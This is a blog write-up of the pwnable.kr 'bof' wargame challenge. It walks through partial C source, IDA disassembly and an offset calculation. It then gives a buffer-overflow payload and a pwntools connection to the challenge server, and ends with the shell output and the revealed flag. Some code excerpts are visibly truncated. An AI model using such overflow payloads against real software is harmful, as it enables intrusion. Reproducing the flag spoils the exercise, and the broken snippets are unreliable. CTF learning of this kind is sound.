[pwnable.kr]Toddler's Bottle-[bof]

Keywords: Python security pwn unctf

Open the topic and review it

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

Nana told me that buffer overflow is one of the most common software vulnerabilities.

Introduction to nc command

https://www.cnblogs.com/nmap/p/6148306.html The specific content of this blog is very detailed

nc pwnable.kr 9000

Simply put, the command interacts with the server 9000 port. When the command is opened, it is not difficult to find that the port executes bof.

Get server file

The first way:

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

The link has been given in the title. Open it directly in the browser and right-click save as.

The second way:

Using the wget command

wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c

Source code analysis

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
int main(int argc, char* argv[]){
	return 0;

It's easy to understand. It's basically to enter an overflow string. This string should make the parameters 0xdeadbeef and 0xcafebabe passed in when main calls func the same. At this time, we can switch to the command line mode to obtain the flag.

The topic has been prompted. Buffer overflow, how to construct payload. Go to ida.

The source code is not interesting. Here we have to start analyzing memory.

ELF analysis constructs payload

Look at the file type

D:\Desktop>file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped

32-bit ELF file, opened with ida.

F5 decompile to get func:

IDA pseudocode

unsigned int __cdecl func(int a1)
  char s; // [esp+1Ch] [ebp-2Ch]
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  puts("overflow me : ");
  if ( a1 == -889275714 )
  return __readgsdword(0x14u) ^ v3;

Look at the notes

The program calls gets to obtain the string s [esp+1Ch] [ebp-2Ch] and compare the passed in parameter A1 [ESP + 3CH] [EBP ch].

IDA disassemable:

.text:0000062C                 public func
.text:0000062C func            proc near               ; CODE XREF: main+10↓p
.text:0000062C s               = byte ptr -2Ch
.text:0000062C var_C           = dword ptr -0Ch
.text:0000062C arg_0           = dword ptr  8
.text:0000062C ; __unwind {
.text:0000062C                 push    ebp
.text:0000062D                 mov     ebp, esp
.text:0000062F                 sub     esp, 48h
.text:00000632                 mov     eax, large gs:14h
.text:00000638                 mov     [ebp+var_C], eax
.text:0000063B                 xor     eax, eax
.text:0000063D                 mov     dword ptr [esp], offset s ; "overflow me : "
.text:00000644                 call    puts
.text:00000649                 lea     eax, [ebp+s]
.text:0000064C                 mov     [esp], eax      ; s
.text:0000064F                 call    gets
.text:00000654                 cmp     [ebp+arg_0], 0CAFEBABEh
.text:0000065B                 jnz     short loc_66B
.text:0000065D                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:00000664                 call    system
.text:00000669                 jmp     short loc_677

It's very simple. In fact, you can override the parameters and calculate the offset

cmp     [ebp+arg_0], 0CAFEBABEh

The position of the parameter key is [ebp+arg_0] arg_0= dword ptr 8, the position of the parameter key is [ebp+8]

Then, char s// [ESP + 1ch] [ebp-2Ch] it can be seen that the position of overflow (i.e. s) is [ebp-2Ch]

We need to enter overflow to overwrite the original parameters. Override is 0CAFEBABEh.

Construct a payload, that is:

52*'A' + "\xbe\xba\xfe\xca"

A can be any character. As can be seen in the figure below, the low address is stored in the low order and the small end mode. We wrote [ebp+8] from [ebp-2Ch].

Write from the small end, so it is "\ xbe\xba\xfe\xca"

About ebp, put out a picture:

Problem solving steps

pwn module is required

In this way, there is no need to consider the size end problem, and the function will solve it.


import pwn
r = pwn.remote('pwnable.kr',9000)

'a'*52+pwn.p32(0xcafebabe) = 'A'*0x34+'\xBE\xBA\xFE\xCA'

Just run.

$ ls -la
total 52504
drwxr-x---  3 root bof      4096 Oct 23  2016 .
drwxr-xr-x 87 root root     4096 Dec 27 23:17 ..
d---------  2 root root     4096 Jun 12  2014 .bash_history
-r-xr-x---  1 root bof      7348 Sep 12  2016 bof
-rw-r--r--  1 root root      308 Oct 23  2016 bof.c
-r--r-----  1 root bof        32 Jun 11  2014 flag
-rw-------  1 root root 53726989 Jun 26 18:23 log
-rw-r--r--  1 root root        0 Oct 23  2016 log2
-rwx------  1 root root      760 Sep 10  2014 super.pl
$ cat flag
daddy, I just pwned a buFFer :)
shdaddy, I just pwned a buFFer :)

Get flag

reference resources:



Posted by ghost007 on Fri, 19 Nov 2021 09:42:53 -0800